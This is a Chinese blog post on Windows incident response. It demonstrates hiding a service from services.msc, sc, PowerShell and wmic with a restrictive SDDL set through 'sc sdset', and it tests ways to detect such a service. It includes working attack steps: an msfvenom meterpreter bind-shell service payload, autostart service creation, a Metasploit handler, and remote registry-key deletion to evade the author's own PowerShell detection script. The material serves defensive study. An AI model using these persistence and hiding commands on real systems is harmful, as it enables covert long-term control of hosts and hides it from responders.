【实战】服务隐藏与排查 | Windows 应急响应

文章探讨了攻击者如何通过配置访问控制策略隐藏XboxLive游戏保存服务,以及使用SDDL、注册表、WindowsAPI等工具进行服务权限设置、查询和隐藏的技巧,以及针对隐藏服务的排查方法。
摘要由CSDN通过智能技术生成

0x00 简介

攻击者通过创建服务进行权限维持过程中,常常会通过一些手段隐藏服务,本文主要演示通过配置访问控制策略来实现隐藏的方式以及排查方法的探索

不包含通过修改内存中链表进行隐藏的方式

0x01 创建服务

直接选择默认的 XblGameSave 服务,这个服务为 Xbox Live 可保存游戏同步保存数据。如果此服务被停止,游戏保存数据将不会上传至 Xbox Live 或从 Xbox Live 下载。

图片

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XblGameSave

图片

sc qc XblGameSave

图片

图片

0x02 查询服务权限设置

sc sdshow "XblGameSave"

图片

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

这是一段 安全描述符定义语言(Security Descriptor Definition Language | SDDL

具体含义可以参考

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-descriptor-string-format

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/ace-strings

https://learn.microsoft.com/zh-cn/windows/win32/services/service-security-and-access-rights

可以通过一些 SDDL 解析工具进行查看

https://github.com/canix1/SDDL-Converter

是一个 powershell 脚本,右键执行

图片

将 SDDL 放到其中进行解析

图片

这样看起来比较直观

0x03 修改服务权限设置

sc sdset "XblGameSave" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

图片

图片

0x04 测试隐藏效果

1. services.msc

图片

2. sc

sc queryex | findstr "XblGameSave"
sc query "XblGameSave"

图片

可以看到,常规检查的时候,无法直接看到 XblGameSave

通过 sc query 指定名称查找显示的是 拒绝访问

通过 sc qc 指定名称查找能够显示出正常内容

如果常规方式看不到,应急响应人员也无法知晓该活动的名称,也就无法查询到

3. PowerShell

Get-Service | findstr "XblGameSave"
Get-Service -Name "XblGameSave"

图片

指定名称查询都显示找不到任何服务

4. wmic

wmic service | findstr "XblGameSave"
wmic service where "Name='XblGameSave'" get Name, DisplayName, Description

图片

5. System Informer

https://systeminformer.sourceforge.io/

Process Hacker 的升级版

图片

也看不到

6. 注册表

图片

可以看到,注册表能够看到该服务,此时注册表多了一项 Security

图片

但是不只这一个注册表有 Security ,所以也不好粗暴地作为评判依据

0x05 思考排查方法

方法一 枚举法

按照计划任务隐藏时候的思路,先看一下 sc query 查询不存在的服务时报错是什么

图片

这里就可以看出区别,当然,完全可以用 sc qc 查询做对比,可能更好

这样的话,可以将注册表遍历一遍,之后获取服务名称,挨个查询,看看有没有拒绝访问的,这样就可以测试出是否存在隐藏的服务。当然,这前提是注册表有访问权限,如果攻击者额外设置了注册表权限,可以先取消注册表权限

方法二 高权限查看法

这种隐藏方式无非就是谁可以看,谁不可以看,在 Linux 中,几乎所有的限制对 root 都没用,我们分析一下刚才的权限设置

图片

这里似乎对 SYSTEM 并没有限制,那我们使用 SYSTEM 权限执行这些常规检查是否可以看到呢

0x06 枚举法

思路就是先获取注册表中服务名称,之后通过 sc query 进行查询,根据反馈进行判断

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

$maliciousServices = foreach ($service in $services) {
    $queryOutput = sc.exe query $service 2>&1

    if ($queryOutput -like "*拒绝访问*") {
        $configOutput = sc.exe qc $service

        [PSCustomObject]@{
            ServiceName = $service
            Status = "拒绝访问"
            Config = $configOutput
        }
    }
}

if ($maliciousServices) {
    Write-Host "发现以下恶意服务:"
    $maliciousServices | Format-Table -AutoSize -Property ServiceName, Status

    foreach ($service in $maliciousServices) {
        Write-Host "--------------------------------------------------"
        Write-Host "Service Name: $($service.ServiceName)"
        Write-Host "Status: $($service.Status)"
        Write-Host "Service Config:"
        $configLines = $service.Config -split "`n"
        $configLines | ForEach-Object {
            $configLine = $_.Trim()
            if ($configLine -ne "" -and $configLine -notlike "[*]*") {
                Write-Host $configLine
            }
        }
        Write-Host "--------------------------------------------------"
    }
} else {
    Write-Host "未发现恶意服务."
}

图片

当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

foreach ($service in $services) {
    $queryOutput = sc.exe query $service 2>&1

    if ($queryOutput -like "*拒绝访问*") {
        Write-Output $service
    }
}

图片

0x07 高权限法

通过 PsExec64.exe 来获取 SYSTEM 权限

PsExec64.exe 是 SysinternalsSuite 套件中一款工具

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite

PsExec64.exe -i -s cmd

图片

PsExec 似乎会导致输入法部分功能出现问题

尝试通过 SYSTEM 权限的 cmd 进行查询

sc queryex | findstr "XblGameSave"

图片

sc 看不到隐藏的服务

尝试通过 SYSTEM 启动 services.msc

图片

services.msc 看不到

图片

powershell 看不到

图片

wmic 看不到

创建低权限的用户组和新用户也不行

看来高权限法不行

0x08 删除服务

经过枚举法,已经获取到服务名称,现在通过 sc sdset 设置权限

sc sdset "XblGameSave" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

图片

图片

这样就可以通过 services.msc 进行管理了

图片

删除服务

sc delete "ServiceName"

0x09 删除注册表文件夹会怎么样

1. 创建木马

这次使用 msf 生成一个服务木马来模拟服务

msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe

注意,这里指定的文件类型是 exe-service ,MSF 专门为服务准备的一类木马,中文资料上提到这个事极少

2. 创建服务

sc create test binPath= "C:\Users\Administrator\Desktop\bind.exe" start= auto depend= Tcpip obj= Localsystem

创建一个名为 test 的服务,开机自启动执行木马程序,监听 4455 端口

图片

启动服务测试一下

sc start test

图片

3. MSF 连接木马

msfconsole -q 
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set rhost 10.211.55.6
set lport 4455
exploit

图片

服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接

图片

图片

再次获取 shell,服务自启动没问题

4. 观察 MSF 服务情况

再次重启服务器,登录后查看服务信息如下

图片

从服务来看 test 服务已经停止了

从进程角度来看

图片

没有主动监听shell 相关进程

通过 MSF 进行连接

图片

服务监听是存在的

从网络层面看

图片

可以看到 MSF 与受害主机之间的连接

图片

通过 wmic 查看详细情况

wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list

图片

这样看来 exe-service 生成的是一个 dll 文件

图片

5. 通过 SDDL 设置隐藏服务

sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

图片

图片

此时已经 Services.msc 已经看不到 test 服务了,这个上面我们已经测试过了

图片

获得的 shell 不受影响

6. 尝试删除注册表项

图片

尝试在 Meterpreter 中远程完成删除

reg deletekey -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test"

图片

图片

注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了

图片

图片

服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用

图片

图片

  • sc qc 进行查询显示找不到指定的文件

  • sc query 显示还是拒绝访问

尝试重启服务器

图片

服务已经不存在了

0x10 思考排查方法

一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?

注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧

1. 进程角度

服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了

当然,可以把 Rundll32.exe 作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 DLL 位置,而且感觉不太严谨

2. 日志查询

通过日志 Windows 日志 -> 系统

图片

其中来源为 Service Control Manager 的日志会记录服务的创建与执行

3. Windows API

如果 Windows API 呢

#include <iostream>
#include <windows.h>
#include <winsvc.h>

int main()
{
    SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (schSCManager == NULL)
    {
        std::cout << "Failed to open Service Control Manager." << std::endl;
        return 1;
    }

    DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
    EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        NULL,
        0,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    );

    LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
    if (lpServices == NULL)
    {
        std::cout << "Failed to allocate memory." << std::endl;
        CloseServiceHandle(schSCManager);
        return 1;
    }

    if (!EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        (LPBYTE)lpServices,
        dwBytesNeeded,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    ))
    {
        std::cout << "Failed to enumerate services." << std::endl;
        free(lpServices);
        CloseServiceHandle(schSCManager);
        return 1;
    }

    std::cout << "Services:" << std::endl;
    for (DWORD i = 0; i < dwServicesReturned; i++)
    {
        std::wstring serviceName(lpServices[i].lpServiceName);
        std::wcout << serviceName << std::endl;
    }

    free(lpServices);
    CloseServiceHandle(schSCManager);

    return 0;
}

经过实验, Windows API 获取不到,即使是 SYSTEM 权限也查询不到

4. sc

sc 的命令报错意味着其实 sc 是可以知道 test 的存在的

但是这里有个问题

  • 一种情况是 sc 能够获取到服务列表,之后查询 test 是否存在

  • 一种情况是 sc 获取不到服务列表,但是可以将服务名称提交,之后返回信息

如果是第一种情况的话,我们可以直接获取到列表,如果是第二种情况,我们只能暴力枚举

由于 Windows 并不开源,我们无法直接知道 sc 到底是怎么做的

5. 通过内存获取

查阅一些资料后得知,服务信息应该归 SCM 来管,具体落到进程上就是 services.exe

图片

但是经过一堆尝试,并没有找到好的方式来从内存中获取服务列表信息

0x11 删除服务

只通过 SDDL 进行隐藏的服务恶意直接按照文中的方法,重新赋权,就可以删除或停止了

对于进行了 SDDL 同时删除了注册表项的服务,需要通过重启来进行删除

如果你也想学习这类安全技术,详情下方图片了解,扫下方二维码加入:只做高质量优质精品内容

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吉吉说安全

感谢打赏,交个朋友!有困难找我

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值